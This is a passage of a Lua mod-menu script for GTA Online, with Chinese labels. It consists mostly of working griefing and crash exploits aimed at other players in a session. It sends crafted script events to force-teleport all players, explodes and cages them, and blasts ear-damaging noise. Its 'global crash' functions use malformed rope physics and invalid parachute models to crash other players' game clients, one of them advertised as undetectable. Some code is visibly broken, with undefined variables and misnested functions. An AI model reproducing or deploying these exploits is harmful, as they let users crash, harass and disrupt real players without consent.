            FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 100, true, false, 150, false)
            if earrape_type == EARRAPE_BED then
                AUDIO.PLAY_SOUND_FROM_COORD(-1, "Bed", coords.x, coords.y, coords.z, "WastedSounds", true, 999999999, true)
            end
            if earrape_type == EARRAPE_FLASH then
                AUDIO.PLAY_SOUND_FROM_COORD(-1, "MP_Flash", coords.x, coords.y, coords.z, "WastedSounds", true, 999999999, true)
                AUDIO.PLAY_SOUND_FROM_COORD(-1, "MP_Flash", coords.x, coords.y, coords.z, "WastedSounds", true, 999999999, true)
                AUDIO.PLAY_SOUND_FROM_COORD(-1, "MP_Flash", coords.x, coords.y, coords.z, "WastedSounds", true, 999999999, true)
            end
        end
        util.yield(wait_for)
    end

    GTAC(nukeall, "全局核弹", {}, "", function()
        util.toast("核弹来咯")
        play_all("Air_Defences_Activated", "DLC_sum20_Business_Battle_AC_Sounds", 3000)
        play_all("5_SEC_WARNING", "HUD_MINI_GAME_SOUNDSET", 1000)
        play_all("5_SEC_WARNING", "HUD_MINI_GAME_SOUNDSET", 1000)
        play_all("5_SEC_WARNING", "HUD_MINI_GAME_SOUNDSET", 500)
        play_all("5_SEC_WARNING", "HUD_MINI_GAME_SOUNDSET", 500)
        play_all("5_SEC_WARNING", "HUD_MINI_GAME_SOUNDSET", 125)
        play_all("5_SEC_WARNING", "HUD_MINI_GAME_SOUNDSET", 125)
        play_all("5_SEC_WARNING", "HUD_MINI_GAME_SOUNDSET", 125)
        play_all("5_SEC_WARNING", "HUD_MINI_GAME_SOUNDSET", 125)
        play_all("5_SEC_WARNING", "HUD_MINI_GAME_SOUNDSET", 125)
        play_all("5_SEC_WARNING", "HUD_MINI_GAME_SOUNDSET", 125)
        play_all("5_SEC_WARNING", "HUD_MINI_GAME_SOUNDSET", 125)
        play_all("5_SEC_WARNING", "HUD_MINI_GAME_SOUNDSET", 125)
        explode_all(EARRAPE_FLASH, 0)
        explode_all(EARRAPE_FLASH, 150)
        explode_all(EARRAPE_BED, 0)
        explode_all(EARRAPE_NONE, 0)
    end)

    all_nuke_height = 40
    menu.slider(nukeall, "核弹高度", {"nukehigher"}, "", 10, 100, nuke_height, 10, function(value)
    all_nuke_height = value
    end)

    function executeNuke(pos)	
        for a = 0, nuke_height, 4 do
            FIRE.ADD_EXPLOSION(pos.x, pos.y, pos.z + a, 8, 10, true, false, 1, false)	
            util.yield(50)
        end
        FIRE.ADD_EXPLOSION(pos.x +8, pos.y +8, pos.z + nuke_height, 82, 10, true, false, 1, false)
        FIRE.ADD_EXPLOSION(pos.x +8, pos.y -8, pos.z + nuke_height, 82, 10, true, false, 1, false)
        FIRE.ADD_EXPLOSION(pos.x -8, pos.y +8, pos.z + nuke_height, 82, 10, true, false, 1, false)
        FIRE.ADD_EXPLOSION(pos.x -8, pos.y -8, pos.z + nuke_height, 82, 10, true, false, 1, false)
    end
    --
    GTTG(allevent, "风车别墅派对", {"blockeclipse"}, "在别墅生成风车\nGet Fuck off them", function(on_toggle)
        if on_toggle then
        local hash = 1952396163
        loadModel(hash)
        for i = 0, 180, 8 do
            local wall = OBJECT.CREATE_OBJECT_NO_OFFSET(hash, -796.4927, 310.48416, 50.49049, true, true, true)
            ENTITY.SET_ENTITY_HEADING(wall, toFloat(i))
            wait(10)
        end
        STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(hash) 
        else
        menu.trigger_commands("clearblocks")
        end
        end)

    GTTG(allevent, "风车赌场派对", {"blockcasino"}, "在赌场生成风车\nGet Fuck off them", function(on_toggle)
        if on_toggle then
        local hash = 1952396163
        loadModel(hash)
        for i = 0, 180, 8 do
            local wall = OBJECT.CREATE_OBJECT_NO_OFFSET(hash, 920.657, 48.360252, 44.913666, true, true, true)
            ENTITY.SET_ENTITY_HEADING(wall, toFloat(i))
            wait(10)
        end
        STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(hash) 
    else
        menu.trigger_commands("clearblocks")
        end
    end)

    GTAC(allevent, "清除所有阻止", {"clearblocks"}, "", function()
        local count = 0
        for k,ent in pairs(entities.get_all_objects_as_handles()) do
            ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
            entities.delete_by_handle(ent)
            count = count + 1
            wait()
        end
    end)

    GTLP(allevent, "NPC无敌", {"godmodenpc"}, "", function(on_toggle)
    all_peds = entities.get_all_peds_as_handles()
    for k,ped in pairs(all_peds) do
        if not PED.IS_PED_A_PLAYER(ped) then
            if PED.IS_PED_IN_ANY_VEHICLE(ped, true) then
            end
            ENTITY.SET_ENTITY_INVINCIBLE(ped, true)
            wait(100)
        end
    end
end)

    GTLP(allevent, "NPC不可见", {""}, "", function(on_toggle)
    all_peds = entities.get_all_peds_as_handles()
    for k,ped in pairs(all_peds) do
        if not PED.IS_PED_A_PLAYER(ped) then
            if PED.IS_PED_IN_ANY_VEHICLE(ped, true) then
            end
            ENTITY.SET_ENTITY_VISIBLE(ped, false, 0)
            wait(100)
        end
    end
end)

    freemode_event = GT(allevent, "自由模式事件", {}, "")

    GTAC(freemode_event, "一键清场", {}, "", function () 
        for pid = 0, 31 do
         if pid ~= players.user() and players.exists(pid) then
        util.trigger_script_event(1 << pid, {1103127469, pid, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, math.random(1, 10)}})
        util.trigger_script_event(1 << pid, {1103127469, pid, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}})
        util.trigger_script_event(1 << pid, {1103127469, pid, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}})
        end
        end
    end)
    
    GTAC(freemode_event, "自由模式事件(恶劣天气任务)", {}, "", function () 
        for pid = 0, 31 do
            if pid ~= players.user() and players.exists(pid) then
            util.trigger_script_event(1 << pid,{ -3190849701, pid, {1, -4294967033, -1}, PLAYER.GET_PLAYER_INDEX(), pid})
            util.trigger_script_event(1 << pid,{ -3190849701, pid, {1, -4294967033, -1}, PLAYER.GET_PLAYER_INDEX(), pid})
            util.trigger_script_event(1 << pid,{ -3190849701, pid, {1, -4294967033, -1}, PLAYER.GET_PLAYER_INDEX(), pid})
            util.trigger_script_event(1 << pid,{ -3190849701, pid, {1, -4294967033, -1}, PLAYER.GET_PLAYER_INDEX(), pid})
            util.trigger_script_event(1 << pid,{ -3190849701, pid, {1, -4294967033, -1}, PLAYER.GET_PLAYER_INDEX(), pid})
            util.trigger_script_event(1 << pid,{ -3190849701, pid, {1, -4294967033, -1}, PLAYER.GET_PLAYER_INDEX(), pid})
            util.trigger_script_event(1 << pid,{ -3190849701, pid, {1, -4294967033, -1}, PLAYER.GET_PLAYER_INDEX(), pid})
            util.trigger_script_event(1 << pid,{ -3190849701, pid, {1, -4294967033, -1}, PLAYER.GET_PLAYER_INDEX(), pid})
            end
        end
    end)
    
    GTAC(freemode_event, "自由模式事件(撤退政策)", {}, "", function () 
        for k,pid in pairs(players.list(false, true, true)) do
            util.trigger_script_event(1 << pid, {2156573948, 2, 0, 0, 4, 0,PLAYER.GET_PLAYER_INDEX(), pid})
        end
    end)
    
    GTAC(freemode_event, "自由模式事件(离岸之财)", {}, "", function () 
        for pid = 0, 31 do
            if pid ~= players.user() and players.exists(pid) then
            util.trigger_script_event(1 << pid, {374302127,pid, 1, PLAYER.GET_PLAYER_INDEX(), pid})
            util.trigger_script_event(1 << pid, {2347253207,pid, 1,0, PLAYER.GET_PLAYER_INDEX(), pid})
            util.trigger_script_event(1 << pid, {2156573948, 1,pid, 3, PLAYER.GET_PLAYER_INDEX(), pid})
            end
        end
    end)
    
    GTAC(freemode_event, "自由模式事件(行迹败露)", {}, "", function () 
        for pid = 0, 31 do
            if pid ~= players.user() and players.exists(pid) then
            util.trigger_script_event(1 << pid, {2156573948,pid, 1,4, PLAYER.GET_PLAYER_INDEX(), pid})
            end
        end
    end)
    
    GTAC(freemode_event, "自由模式事件(猎杀叛徒)", {}, "", function () 
        for pid = 0, 31 do
            if pid ~= players.user() and players.exists(pid) then
            util.trigger_script_event(1 << pid, {2156573948,pid, 1,5, PLAYER.GET_PLAYER_INDEX(), pid})
            end
        end
    end)
    
    GTAC(freemode_event, "自由模式事件(数据泄露)", {}, "", function () 
        for pid = 0, 31 do
            if pid ~= players.user() and players.exists(pid) then
            util.trigger_script_event(1 << pid, {2156573948,pid, 1,8, PLAYER.GET_PLAYER_INDEX(), pid})
            end
        end
    end)
    
    GTAC(freemode_event, "自由模式事件(工作纠纷)", {}, "", function () 
        for pid = 0, 31 do
            if pid ~= players.user() and players.exists(pid) then
            util.trigger_script_event(1 << pid, {2156573948,pid, 1,7, PLAYER.GET_PLAYER_INDEX(), pid})
            util.trigger_script_event(1 << pid, {374302127,pid, 1, PLAYER.GET_PLAYER_INDEX(), pid})
            util.trigger_script_event(1 << pid, {2347253207, pid, 1, 0, PLAYER.GET_PLAYER_INDEX(), pid})
            end
        end
    end)
    
    GTAC(allevent, "全局获得加特林", {""}, "可以与(发送玩家海滩)搭配喔~\n见证一场在海滩上的厮杀盛宴", function()
        for pid = 0,3 do--获取队友ped
        pedp = players.user_ped(pid)
        minigun = 1119849093--加特林hash
        menu.trigger_commands("disarmall on")
        wait(100)
        menu.trigger_commands("disarmall off")
        WEAPON.GIVE_DELAYED_WEAPON_TO_PED(pedp,minigun,0,1)
        WEAPON.SET_PED_AMMO(pedp,minigun,9999)
        wait(100)
        end
    end)

    GTAC(allevent, "全局上岛[新版]", {}, "", function ()
        sendscriptevent_three()
    end)

GTLP(allevent, '爆炸所有人', {'explodeap'}, '爆炸所有玩家.', function()
menu.trigger_commands("explodeall")
end)

GTAC(allevent, "劫持所有载具", {"hijackall"}, "生成一个劫匪NPC，把他们从车里带出来并开走开.", function()
    for _, pid in players.list(false, true, true) do
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = players.get_position(pid)

        if ENTITY.DOES_ENTITY_EXIST(ped) and PED.IS_PED_IN_ANY_VEHICLE(ped, false) then
            GTluaScript.trigger_commands("hijack " .. players.get_name(pid))
        end
    end
end)

GTLP(allevent, "震动屏幕", {}, "让每个人的屏幕震动", function()
    for k,v in pairs(players.list(false, true, true)) do
        shake_player(v, 5000)
        wait()
    end
    wait(1000)
end)

GTAC(allevent, "困住所有玩家", {}, "", function () 
for pid = 0, 31 do
    if pid ~= players.user() and players.exists(pid) then
        local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
        pos.z = pos.z + 0.95  
        local pos1 = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
        pos1.z = pos1.z - 0.90
        local cage = util.joaat("prop_feeder1_cr")
        STREAMING.REQUEST_MODEL(cage)
        OBJECT.CREATE_OBJECT_NO_OFFSET(cage, pos.x, pos.y ,pos.z , true, true)
        OBJECT.CREATE_OBJECT_NO_OFFSET(cage, pos1.x, pos1.y ,pos1.z , true, true)
    end
end
end)

GTLP(allevent, "全局随机事件", {}, "", function () 
for pid = 0, 31 do
    if pid ~= players.user() and players.exists(pid) then
        local target_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local coords = ENTITY.GET_ENTITY_COORDS(target_ped)
        FIRE.ADD_EXPLOSION(coords['x'], coords['y'], coords['z'], math.random(0, 82), 1.0, true, false,0.0)
    end
end

GTLP(allevent, "混乱车辆", {}, "车辆到处乱窜",function()
    for i, veh in ipairs(entities.get_all_vehicles_as_handles()) do
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
        ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(veh, 1, 0.0, 10.0, 0.0, true, true, true, true) 
    end
end)

GTTG(allevent, "暴乱城市", {}, "周围的npc会进入无差别攻击模式！", function(toggle)
    MISC.SET_RIOT_MODE_ENABLED(toggle)
end)
end)

GTLP(allevent,  "赌场陷阱", {"trapbase"}, "", function() 
    local mdl = util.joaat("hei_prop_ss1_mpint_garage2")
    request_model(mdl)
    if trap_obj == nil or trap_obj2 == nil or not ENTITY.DOES_ENTITY_EXIST(trap_obj) or not ENTITY.DOES_ENTITY_EXIST(trap_obj2) then
        trap_obj = entities.create_object(mdl, v3(1089.62, 206.334, -48.473))
        trap_obj2 = entities.create_object(mdl, v3(1090.0166, 213.826, -48.473))
        ENTITY.SET_ENTITY_HEADING(trap_obj2, 31.0)
        local objs = {trap_obj, trap_obj2}
        for _, obj in objs do
            entities.set_can_migrate(entities.handle_to_pointer(obj), false)
            ENTITY.FREEZE_ENTITY_POSITION(obj, true)
            ENTITY.SET_ENTITY_NO_COLLISION_ENTITY(players.user_ped(), obj, false)
        end
    end
    wait()
end, function()
    local objs = {trap_obj, trap_obj2}
    for _, obj in objs do
        if obj ~= nil then
            NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(obj)
            entities.delete_by_handle(obj)
        end
    end
end)

GTAC(allevent, "发送到高尔夫俱乐部", {"golf"}, "让战局中所有人都去打高尔夫.", function()
    for _, pid in players.list(false, true, true) do
        util.trigger_script_event(1 << pid, {1103127469, players.user(), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, math.random(1, 10)})
        util.trigger_script_event(1 << pid, {1103127469, players.user(),0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1})
    end
end)

GTAC(allevent, "将所有人传送到海洋", {"alltpvehocean"}, "", function()
    TeleportEveryonesVehicleToOcean()
end)

VehTeleportLoadIterations = 20
GTluaScript.slider(allevent, "循环加载载具传送", {"vehloaditerations"}, "请记住,每次循环都是十分之一秒.默认值为20秒或2秒.", 1, 100, 20, 1, function(value)
    VehTeleportLoadIterations = value
end)

GTAC(allevent, "移除所有人的载具无敌", {"allremovevehgod"}, "", function ()
    RemoveVehicleGodmodeForAll()
end)

GTLP(allevent, "加入战局时向玩家敬酒", {}, "", function ()
    CheckLobbyForPlayers()
end)

    GTTG(allevent, "飞机坠落", {},"各种飞机坠毁事件", function(on)
        angry_planes = on
        start_angryplanes_thread()
    end)

    GTTG(allevent, '定点轰炸', {'nukeWP'}, '选择标记点', function ()
        lhbj()
    end)

    GTAC(allguyssound, "空袭", {}, "模仿空袭", function()
        util.toast("空袭来临!!!")
        GTYYDS.GTYYDS1("Air_Defences_Activated", "DLC_sum20_Business_Battle_AC_Sounds", 3000)
        GTYYDS.GTYYDS1("5_SEC_WARNING", "HUD_MINI_GAME_SOUNDSET", 1000)
        GTYYDS.GTYYDS1("5_SEC_WARNING", "HUD_MINI_GAME_SOUNDSET", 1000)
        GTYYDS.GTYYDS1("5_SEC_WARNING", "HUD_MINI_GAME_SOUNDSET", 500)
        GTYYDS.GTYYDS1("5_SEC_WARNING", "HUD_MINI_GAME_SOUNDSET", 500)
        GTYYDS.GTYYDS1("5_SEC_WARNING", "HUD_MINI_GAME_SOUNDSET", 125)
        GTYYDS.GTYYDS1("5_SEC_WARNING", "HUD_MINI_GAME_SOUNDSET", 125)
        GTYYDS.GTYYDS1("5_SEC_WARNING", "HUD_MINI_GAME_SOUNDSET", 125)
        GTYYDS.GTYYDS1("5_SEC_WARNING", "HUD_MINI_GAME_SOUNDSET", 125)
        GTYYDS.GTYYDS1("5_SEC_WARNING", "HUD_MINI_GAME_SOUNDSET", 125)
        GTYYDS.GTYYDS1("5_SEC_WARNING", "HUD_MINI_GAME_SOUNDSET", 125)
        GTYYDS.GTYYDS1("5_SEC_WARNING", "HUD_MINI_GAME_SOUNDSET", 125)
        GTYYDS.GTYYDS1("5_SEC_WARNING", "HUD_MINI_GAME_SOUNDSET", 125)
        GTYYDS.GTYYDS2(EARRAPE_FLASH, 0)
        GTYYDS.GTYYDS2(EARRAPE_FLASH, 150)
        GTYYDS.GTYYDS2(EARRAPE_BED, 0)
        GTYYDS.GTYYDS2(EARRAPE_NONE, 0)
    end)


    GTAC(allguyssound, "防空警报", {"AirDefencesSound"}, "", function()
        fangkongjingbao()
    end)
            
    GTAC(allguyssound, "噪音", {"badsound", "earrape"}, "超大声!!!请降低您的音量\n在战局中播放,对玩家有效", function()
        zaoyin()
    end)

    function GetLocalPed()
    return PLAYER.PLAYER_PED_ID()
end

G_GeneratedList = false

function AddEntityToList(listName, handle, generatedCheck)
    if ((not G_GeneratedList) and generatedCheck) or (not generatedCheck) then
        G_GeneratedList = true
        local lis = GT(allcrash, listName .. " handle " .. handle, {}, "")
        GTAC(lis, "删除", {}, "", function()
            entities.delete_by_handle(handle)
            GTluaScript.delete(lis)
            G_GeneratedList = false
        end)
        GTAC(lis, "传送到实体", {}, "", function()
            local pos = ENTITY.GET_ENTITY_COORDS(handle)
            ENTITY.SET_ENTITY_COORDS_NO_OFFSET(GetLocalPed(), pos.x, pos.y, pos.z + 1, false, false, false)
        end)
        GTAC(lis, "驾驶实体", {}, "", function()
            PED.SET_PED_INTO_VEHICLE(GetLocalPed(), handle, -1)
        end)
        GTAC(lis, "传送到我", {}, "", function()
            local pos = ENTITY.GET_ENTITY_COORDS(GetLocalPed())
            ENTITY.SET_ENTITY_COORDS_NO_OFFSET(handle, pos.x, pos.y, pos.z + 1, false, false, false)
        end)
    end
end
planes = {'microlight', 'cuban800', 'tula', 'alphaz1', 'velum2', 'nimbus', 'seabreeze'} 
coords = {
    {-1718.5878, -982.02405, 322.83115},
    {-2671.5007, 3404.2637, 455.1972},
    {9.977266, 6621.406, 306.46536 },
    {3529.1458, 3754.5452, 109.96472},
    {252, 2815, 120},
}
to_ply = 1

crashr = GT(allcrash, '全局崩溃', {}, '')

    function Change_player_model(hash)
    local model_hash = hash
    STREAMING.REQUEST_MODEL(model_hash)
    while(not STREAMING.HAS_MODEL_LOADED(model_hash))
    do
		wait(0)
    end
    PLAYER.SET_PLAYER_MODEL(model_hash)
    STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(model_hash)
end

sancrashr = GT(crashr, '全局伞崩', {}, '')
donggeb = GT(crashr, '董哥崩', {}, '')

GTAC(crashr, "SARS崩溃", {}, "无法检测到是您使用的全局崩溃", function()
    PHYSICS.ROPE_LOAD_TEXTURES()
    local hashes = {2132890591, 2727244247}
    local pc = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
    local veh = VEHICLE.CREATE_VEHICLE(hashes[i], pc.x + 5, pc.y, pc.z, 0, true, true, false)
    local ped = PED.CREATE_PED(26, hashes[2], pc.x, pc.y, pc.z + 1, 0, true, false)
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh); NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(ped)
    ENTITY.SET_ENTITY_INVINCIBLE(ped, true)
    ENTITY.SET_ENTITY_VISIBLE(ped, false, 0)
    ENTITY.SET_ENTITY_VISIBLE(veh, false, 0)
    local rope = PHYSICS.ADD_ROPE(pc.x + 5, pc.y, pc.z, 0, 0, 0, 1, 1, 0.0000000000000000000000000000000000001, 1, 1, true, true, true, 1, true, 0)
    local vehc = ENTITY.GET_ENTITY_COORDS(veh); local pedc = ENTITY.GET_ENTITY_COORDS(ped)
    PHYSICS.ATTACH_ENTITIES_TO_ROPE(rope, veh, ped, vehc.x, vehc.y, vehc.z, pedc.x, pedc.y, pedc.z, 2, 0, 0, "Center", "Center")
    wait(1000)
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh); NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(ped)
    entities.delete_by_handle(veh); entities.delete_by_handle(ped)
    PHYSICS.DELETE_CHILD_ROPE(rope)
    PHYSICS.ROPE_UNLOAD_TEXTURES()
end)

GTAC(crashr, "第六感", {"sixfeel"}, "SARS增强版", function()
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
    local ppos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
    pos.x = pos.x+5
    ppos.z = ppos.z+1
    Utillitruck3 = entities.create_vehicle(2132890591, pos, 0)
    Utillitruck3_pos = ENTITY.GET_ENTITY_COORDS(Utillitruck3)
    kur = entities.create_ped(26, 2727244247, ppos, 0)
    kur_pos = ENTITY.GET_ENTITY_COORDS(kur)
    ENTITY.SET_ENTITY_INVINCIBLE(kur, true)
    newRope = PHYSICS.ADD_ROPE(pos.x, pos.y, pos.z, 0, 0, 0, 1, 1, 0.0000000000000000000000000000000000001, 1, 1, true, true, true, 1.0, true, "Center")
    PHYSICS.ATTACH_ENTITIES_TO_ROPE(newRope, Utillitruck3, kur, Utillitruck3_pos.x, Utillitruck3_pos.y, Utillitruck3_pos.z, kur_pos.x, kur_pos.y, kur_pos.z, 2, 0, 0, "Center", "Center")
    wait(100)
    ENTITY.SET_ENTITY_INVINCIBLE(kur, true)
    newRope = PHYSICS.ADD_ROPE(pos.x, pos.y, pos.z, 0, 0, 0, 1, 1, 0.0000000000000000000000000000000000001, 1, 1, true, true, true, 1.0, true, "Center")
    PHYSICS.ATTACH_ENTITIES_TO_ROPE(newRope, Utillitruck3, kur, Utillitruck3_pos.x, Utillitruck3_pos.y, Utillitruck3_pos.z, kur_pos.x, kur_pos.y, kur_pos.z, 2, 0, 0, "Center", "Center") 
    wait(100)
    PHYSICS.ROPE_LOAD_TEXTURES()
    local hashes = {2132890591, 2727244247}
    local pc = getEntityCoords(getPlayerPed(pid))
    local veh = VEHICLE.CREATE_VEHICLE(hashes[i], pc.x + 5, pc.y, pc.z, 0, true, true, false)
    local ped = PED.CREATE_PED(26, hashes[2], pc.x, pc.y, pc.z + 1, 0, true, false)
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh); NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(ped)
    ENTITY.SET_ENTITY_INVINCIBLE(ped, true)
    ENTITY.SET_ENTITY_VISIBLE(ped, false, 0)
    ENTITY.SET_ENTITY_VISIBLE(veh, false, 0)
    local rope = PHYSICS.ADD_ROPE(pc.x + 5, pc.y, pc.z, 0, 0, 0, 1, 1, 0.0000000000000000000000000000000000001, 1, 1, true, true, true, 1, true, 0)
    local vehc = getEntityCoords(veh); local pedc = getEntityCoords(ped)
    PHYSICS.ATTACH_ENTITIES_TO_ROPE(rope, veh, ped, vehc.x, vehc.y, vehc.z, pedc.x, pedc.y, pedc.z, 2, 0, 0, "Center", "Center")
    wait(1000)
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh); NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(ped)
    PHYSICS.DELETE_CHILD_ROPE(rope)
    PHYSICS.ROPE_UNLOAD_TEXTURES()
end)

GTAC(crashr, "星穹铁道", {"miHoYo"}, "miHoYo!!!", function()
    menu.trigger_commands("flashboom")
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
    local ppos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
    pos.x = pos.x+5
    ppos.z = ppos.z+1
    Utillitruck3 = entities.create_vehicle(2132890591, pos, 0)
    Utillitruck3_pos = ENTITY.GET_ENTITY_COORDS(Utillitruck3)
    kur = entities.create_ped(26, 2727244247, ppos, 0)
    kur_pos = ENTITY.GET_ENTITY_COORDS(kur)
    ENTITY.SET_ENTITY_INVINCIBLE(kur, true)
    newRope = PHYSICS.ADD_ROPE(pos.x, pos.y, pos.z, 0, 0, 0, 1, 1, 0.0000000000000000000000000000000000001, 1, 1, true, true, true, 1.0, true, "Center")
    PHYSICS.ATTACH_ENTITIES_TO_ROPE(newRope, Utillitruck3, kur, Utillitruck3_pos.x, Utillitruck3_pos.y, Utillitruck3_pos.z, kur_pos.x, kur_pos.y, kur_pos.z, 2, 0, 0, "Center", "Center")
    wait(100)
    ENTITY.SET_ENTITY_INVINCIBLE(kur, true)
    newRope = PHYSICS.ADD_ROPE(pos.x, pos.y, pos.z, 0, 0, 0, 1, 1, 0.0000000000000000000000000000000000001, 1, 1, true, true, true, 1.0, true, "Center")
    PHYSICS.ATTACH_ENTITIES_TO_ROPE(newRope, Utillitruck3, kur, Utillitruck3_pos.x, Utillitruck3_pos.y, Utillitruck3_pos.z, kur_pos.x, kur_pos.y, kur_pos.z, 2, 0, 0, "Center", "Center") 
    wait(100)
    PHYSICS.ROPE_LOAD_TEXTURES()
    local hashes = {2132890591, 2727244247}
    local pc = getEntityCoords(getPlayerPed(pid))
    local veh = VEHICLE.CREATE_VEHICLE(hashes[i], pc.x + 5, pc.y, pc.z, 0, true, true, false)
    local ped = PED.CREATE_PED(26, hashes[2], pc.x, pc.y, pc.z + 1, 0, true, false)
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh); NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(ped)
    ENTITY.SET_ENTITY_INVINCIBLE(ped, true)
    ENTITY.SET_ENTITY_VISIBLE(ped, false, 0)
    ENTITY.SET_ENTITY_VISIBLE(veh, false, 0)
    local rope = PHYSICS.ADD_ROPE(pc.x + 5, pc.y, pc.z, 0, 0, 0, 1, 1, 0.0000000000000000000000000000000000001, 1, 1, true, true, true, 1, true, 0)
    local vehc = getEntityCoords(veh); local pedc = getEntityCoords(ped)
    PHYSICS.ATTACH_ENTITIES_TO_ROPE(rope, veh, ped, vehc.x, vehc.y, vehc.z, pedc.x, pedc.y, pedc.z, 2, 0, 0, "Center", "Center")
    wait(1000)
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh); NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(ped)
    PHYSICS.DELETE_CHILD_ROPE(rope)
    PHYSICS.ROPE_UNLOAD_TEXTURES()
end)

GTAC(sancrashr, "沉鱼落雁", {""}, "", function (on)
for i = 0 , 1 do
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()), 0, 0, 1000)
    PLAYER.SET_PLAYER_PARACHUTE_MODEL_OVERRIDE(players.user(),-692292317)
    TASK.TASK_PARACHUTE_TO_TARGET(players.user_ped(players.user()),-1087,-3012,13.94)
    wait(1200)
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()))
    TASK.SET_PARACHUTE_TASK_THRUST(players.user_ped(players.user()),1000)
    end
for i = 0 , 1 do
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()), 0, 0, 1000)
    PLAYER.SET_PLAYER_PARACHUTE_MODEL_OVERRIDE(players.user(),-2071359746)
    TASK.TASK_PARACHUTE_TO_TARGET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),-1087,-3012,13.94)
    wait(1200)
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()))
    TASK.SET_PARACHUTE_TASK_THRUST(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),1000)
    end
for i = 0 , 1 do
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()), 0, 0, 1000)
    PLAYER.SET_PLAYER_PARACHUTE_MODEL_OVERRIDE(players.user(),0xFE141DA6)
    TASK.TASK_PARACHUTE_TO_TARGET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),-1087,-3012,13.94)
    wait(1200)
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()))
    TASK.SET_PARACHUTE_TASK_THRUST(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),1000)
    end
for i = 0 , 1 do
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()), 0, 0, 1000)
    PLAYER.SET_PLAYER_PARACHUTE_MODEL_OVERRIDE(players.user(),0x7CAB34D0)
    TASK.TASK_PARACHUTE_TO_TARGET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),-1087,-3012,13.94)
    wait(1200)
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()))
    TASK.SET_PARACHUTE_TASK_THRUST(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),1000)
    end
for i = 0 , 1 do
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()), 0, 0, 1000)
    PLAYER.SET_PLAYER_PARACHUTE_MODEL_OVERRIDE(players.user(),0x6A59902D)
